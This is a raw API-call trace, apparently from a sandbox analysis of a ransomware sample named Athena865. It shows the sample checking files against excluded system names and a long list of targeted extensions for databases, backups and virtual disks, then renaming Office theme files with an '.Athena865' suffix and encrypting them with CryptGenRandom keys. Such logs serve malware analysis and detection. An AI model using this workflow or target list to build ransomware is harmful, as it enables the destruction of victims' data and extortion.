lstrlenW (lpString="mud") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="mud") returned -1 [0065.127] lstrlenW (lpString="mwb") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="mwb") returned -1 [0065.127] lstrlenW (lpString="myd") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="myd") returned -1 [0065.127] lstrlenW (lpString="ndf") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="ndf") returned -1 [0065.127] lstrlenW (lpString="nnt") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="nnt") returned -1 [0065.127] lstrlenW (lpString="nrmlib") returned 6 [0065.127] lstrcmpiW (lpString1="y.thmx", lpString2="nrmlib") returned 1 [0065.127] lstrlenW (lpString="ns2") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="ns2") returned -1 [0065.127] lstrlenW (lpString="ns3") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="ns3") returned -1 [0065.127] lstrlenW (lpString="ns4") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="ns4") returned -1 [0065.127] lstrlenW (lpString="nsf") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="nsf") returned -1 [0065.127] lstrlenW (lpString="nv") returned 2 [0065.127] lstrcmpiW (lpString1="mx", lpString2="nv") returned -1 [0065.127] lstrlenW (lpString="nv2") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="nv2") returned -1 [0065.127] lstrlenW (lpString="nwdb") returned 4 [0065.127] lstrcmpiW (lpString1="thmx", lpString2="nwdb") returned 1 [0065.127] lstrlenW (lpString="nyf") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="nyf") returned -1 [0065.127] lstrlenW (lpString="odb") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.127] lstrlenW (lpString="odb") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="odb") returned -1 [0065.127] lstrlenW (lpString="oqy") returned 3 [0065.127] lstrcmpiW (lpString1="hmx", lpString2="oqy") returned -1 [0065.128] lstrlenW (lpString="ora") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="ora") returned -1 [0065.128] lstrlenW (lpString="orx") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="orx") returned -1 [0065.128] lstrlenW (lpString="owc") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="owc") returned -1 [0065.128] lstrlenW (lpString="p96") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="p96") returned -1 [0065.128] lstrlenW (lpString="p97") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="p97") returned -1 [0065.128] lstrlenW (lpString="pan") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="pan") returned -1 [0065.128] lstrlenW (lpString="pdb") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="pdb") returned -1 [0065.128] lstrlenW (lpString="pdm") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="pdm") returned -1 [0065.128] lstrlenW (lpString="pnz") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="pnz") returned -1 [0065.128] lstrlenW (lpString="qry") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="qry") returned -1 [0065.128] lstrlenW (lpString="qvd") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="qvd") returned -1 [0065.128] lstrlenW (lpString="rbf") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="rbf") returned -1 [0065.128] lstrlenW (lpString="rctd") returned 4 [0065.128] lstrcmpiW (lpString1="thmx", lpString2="rctd") returned 1 [0065.128] lstrlenW (lpString="rod") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="rod") returned -1 [0065.128] lstrlenW (lpString="rodx") returned 4 [0065.128] lstrcmpiW (lpString1="thmx", lpString2="rodx") returned 1 [0065.128] lstrlenW (lpString="rpd") returned 3 [0065.128] lstrcmpiW (lpString1="hmx", lpString2="rpd") returned -1 [0065.129] lstrlenW (lpString="rsd") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="rsd") returned -1 [0065.129] lstrlenW (lpString="sas7bdat") returned 8 [0065.129] lstrcmpiW (lpString1="ncy.thmx", lpString2="sas7bdat") returned -1 [0065.129] lstrlenW (lpString="sbf") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="sbf") returned -1 [0065.129] lstrlenW (lpString="scx") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="scx") returned -1 [0065.129] lstrlenW (lpString="sdb") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="sdb") returned -1 [0065.129] lstrlenW (lpString="sdc") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="sdc") returned -1 [0065.129] lstrlenW (lpString="sdf") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="sdf") returned -1 [0065.129] lstrlenW (lpString="sis") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="sis") returned -1 [0065.129] lstrlenW (lpString="spq") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="spq") returned -1 [0065.129] lstrlenW (lpString="te") returned 2 [0065.129] lstrcmpiW (lpString1="mx", lpString2="te") returned -1 [0065.129] lstrlenW (lpString="teacher") returned 7 [0065.129] lstrcmpiW (lpString1="cy.thmx", lpString2="teacher") returned -1 [0065.129] lstrlenW (lpString="tmd") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="tmd") returned -1 [0065.129] lstrlenW (lpString="tps") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="tps") returned -1 [0065.129] lstrlenW (lpString="trc") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.129] lstrlenW (lpString="trc") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="trc") returned -1 [0065.129] lstrlenW (lpString="trm") returned 3 [0065.129] lstrcmpiW (lpString1="hmx", lpString2="trm") returned -1 [0065.129] lstrlenW (lpString="udb") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0065.130] lstrlenW (lpString="udl") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0065.130] lstrlenW (lpString="usr") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0065.130] lstrlenW (lpString="v12") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0065.130] lstrlenW (lpString="vis") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0065.130] lstrlenW (lpString="vpd") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0065.130] lstrlenW (lpString="vvv") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0065.130] lstrlenW (lpString="wdb") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0065.130] lstrlenW (lpString="wmdb") returned 4 [0065.130] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0065.130] lstrlenW (lpString="wrk") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0065.130] lstrlenW (lpString="xdb") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0065.130] lstrlenW (lpString="xld") returned 3 [0065.130] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0065.130] lstrlenW (lpString="xmlff") returned 5 [0065.130] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0065.130] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.Athena865") returned 77 [0065.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.athena865"), dwFlags=0x1) returned 1 [0065.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.132] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=53418) returned 1 [0065.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.132] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.133] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.133] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.133] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd3b0, lpName=0x0) returned 0x17c [0065.138] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd3b0) returned 0x100000 [0065.141] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.142] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.142] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.142] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.143] CloseHandle (hObject=0x17c) returned 1 [0065.143] CloseHandle (hObject=0x154) returned 1 [0065.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.144] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2=".") returned 1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="..") returned 1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="windows") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="bootmgr") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="temp") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="pagefile.sys") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="boot") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="ids.txt") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="ntuser.dat") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="perflogs") returned -1 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2="MSBuild") returned -1 [0065.144] lstrlenW (lpString="Angles.thmx") returned 11 [0065.144] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Angles.thmx" | out: lpString1="Angles.thmx") returned="Angles.thmx" [0065.144] lstrlenW (lpString="Angles.thmx") returned 11 [0065.144] lstrlenW (lpString="Athena865") returned 9 [0065.144] lstrcmpiW (lpString1="gles.thmx", lpString2="Athena865") returned 1 [0065.144] lstrlenW (lpString=".dll") returned 4 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2=".dll") returned 1 [0065.144] lstrlenW (lpString=".lnk") returned 4 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2=".lnk") returned 1 [0065.144] lstrlenW (lpString=".ini") returned 4 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2=".ini") returned 1 [0065.144] lstrlenW (lpString=".sys") returned 4 [0065.144] lstrcmpiW (lpString1="Angles.thmx", lpString2=".sys") returned 1 [0065.144] lstrlenW (lpString="Angles.thmx") returned 11 [0065.144] lstrlenW (lpString="bak") returned 3 [0065.144] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.144] lstrlenW (lpString="ba_") returned 3 [0065.144] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.145] lstrlenW (lpString="dbb") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.145] lstrlenW (lpString="vmdk") returned 4 [0065.145] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.145] lstrlenW (lpString="rar") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.145] lstrlenW (lpString="zip") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.145] lstrlenW (lpString="tgz") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.145] lstrlenW (lpString="vbox") returned 4 [0065.145] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.145] lstrlenW (lpString="vdi") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.145] lstrlenW (lpString="vhd") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.145] lstrlenW (lpString="vhdx") returned 4 [0065.145] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.145] lstrlenW (lpString="avhd") returned 4 [0065.145] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.145] lstrlenW (lpString="db") returned 2 [0065.145] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.145] lstrlenW (lpString="db2") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.145] lstrlenW (lpString="db3") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.145] lstrlenW (lpString="dbf") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.145] lstrlenW (lpString="mdf") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.145] lstrlenW (lpString="mdb") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.145] lstrlenW (lpString="sql") returned 3 [0065.145] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.146] lstrlenW (lpString="sqlite") returned 6 [0065.146] lstrcmpiW (lpString1="s.thmx", lpString2="sqlite") returned -1 [0065.146] lstrlenW (lpString="sqlite3") returned 7 [0065.146] lstrcmpiW (lpString1="es.thmx", lpString2="sqlite3") returned -1 [0065.146] lstrlenW (lpString="sqlitedb") returned 8 [0065.146] lstrcmpiW (lpString1="les.thmx", lpString2="sqlitedb") returned -1 [0065.146] lstrlenW (lpString="xml") returned 3 [0065.146] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.146] lstrlenW (lpString="$er") returned 3 [0065.146] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.146] lstrlenW (lpString="4dd") returned 3 [0065.146] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.146] lstrlenW (lpString="4dl") returned 3 [0065.146] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.146] lstrlenW (lpString="^^^") returned 3 [0065.146] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.146] lstrlenW (lpString="abs") returned 3 [0065.146] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.146] lstrlenW (lpString="abx") returned 3 [0065.146] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.146] lstrlenW (lpString="accdb") returned 5 [0065.146] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.146] lstrlenW (lpString="accdc") returned 5 [0065.146] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.146] lstrlenW (lpString="accde") returned 5 [0065.146] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.146] lstrlenW (lpString="accdr") returned 5 [0065.146] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.146] lstrlenW (lpString="accdt") returned 5 [0065.146] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.146] lstrlenW (lpString="accdw") returned 5 [0065.146] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.146] lstrlenW (lpString="accft") returned 5 [0065.147] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.147] lstrlenW (lpString="adb") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.147] lstrlenW (lpString="adb") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.147] lstrlenW (lpString="ade") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.147] lstrlenW (lpString="adf") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.147] lstrlenW (lpString="adn") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.147] lstrlenW (lpString="adp") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.147] lstrlenW (lpString="alf") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.147] lstrlenW (lpString="ask") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.147] lstrlenW (lpString="btr") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.147] lstrlenW (lpString="cat") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.147] lstrlenW (lpString="cdb") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.147] lstrlenW (lpString="ckp") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.147] lstrlenW (lpString="cma") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.147] lstrlenW (lpString="cpd") returned 3 [0065.147] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.147] lstrlenW (lpString="dacpac") returned 6 [0065.147] lstrcmpiW (lpString1="s.thmx", lpString2="dacpac") returned 1 [0065.148] lstrlenW (lpString="dad") returned 3 [0065.148] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.148] lstrlenW (lpString="dadiagrams") returned 10 [0065.148] lstrcmpiW (lpString1="ngles.thmx", lpString2="dadiagrams") returned 1 [0065.148] lstrlenW (lpString="daschema") returned 8 [0065.148] lstrcmpiW (lpString1="les.thmx", lpString2="daschema") returned 1 [0065.148] lstrlenW (lpString="db-journal") returned 10 [0065.148] lstrcmpiW (lpString1="ngles.thmx", lpString2="db-journal") returned 1 [0065.148] lstrlenW (lpString="db-shm") returned 6 [0065.148] lstrcmpiW (lpString1="s.thmx", lpString2="db-shm") returned 1 [0065.148] lstrlenW (lpString="db-wal") returned 6 [0065.148] lstrcmpiW (lpString1="s.thmx", lpString2="db-wal") returned 1 [0065.148] lstrlenW (lpString="dbc") returned 3 [0065.148] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.148] lstrlenW (lpString="dbs") returned 3 [0065.148] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.148] lstrlenW (lpString="dbt") returned 3 [0065.148] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.148] lstrlenW (lpString="dbv") returned 3 [0065.148] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.148] lstrlenW (lpString="dbx") returned 3 [0065.148] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.148] lstrlenW (lpString="dcb") returned 3 [0065.148] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.149] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.Athena865") returned 74 [0065.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.athena865"), dwFlags=0x1) returned 1 [0065.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.150] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=69784) returned 1 [0065.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.150] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.151] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.151] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.151] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x113a0, lpName=0x0) returned 0x17c [0065.153] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x113a0) returned 0x100000 [0065.157] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.157] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.157] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.158] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.159] CloseHandle (hObject=0x17c) returned 1 [0065.159] CloseHandle (hObject=0x154) returned 1 [0065.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.159] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0065.159] lstrcmpiW (lpString1="Apex.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.159] lstrcmpiW (lpString1="Apex.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2=".") returned 1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="..") returned 1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="windows") returned -1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="bootmgr") returned -1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="temp") returned -1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="pagefile.sys") returned -1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="boot") returned -1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="ids.txt") returned -1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="ntuser.dat") returned -1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="perflogs") returned -1 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2="MSBuild") returned -1 [0065.160] lstrlenW (lpString="Apex.thmx") returned 9 [0065.160] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Apex.thmx" | out: lpString1="Apex.thmx") returned="Apex.thmx" [0065.160] lstrlenW (lpString="Apex.thmx") returned 9 [0065.160] lstrlenW (lpString="Athena865") returned 9 [0065.160] lstrlenW (lpString=".dll") returned 4 [0065.160] lstrcmpiW (lpString1="Apex.thmx", lpString2=".dll") returned 1 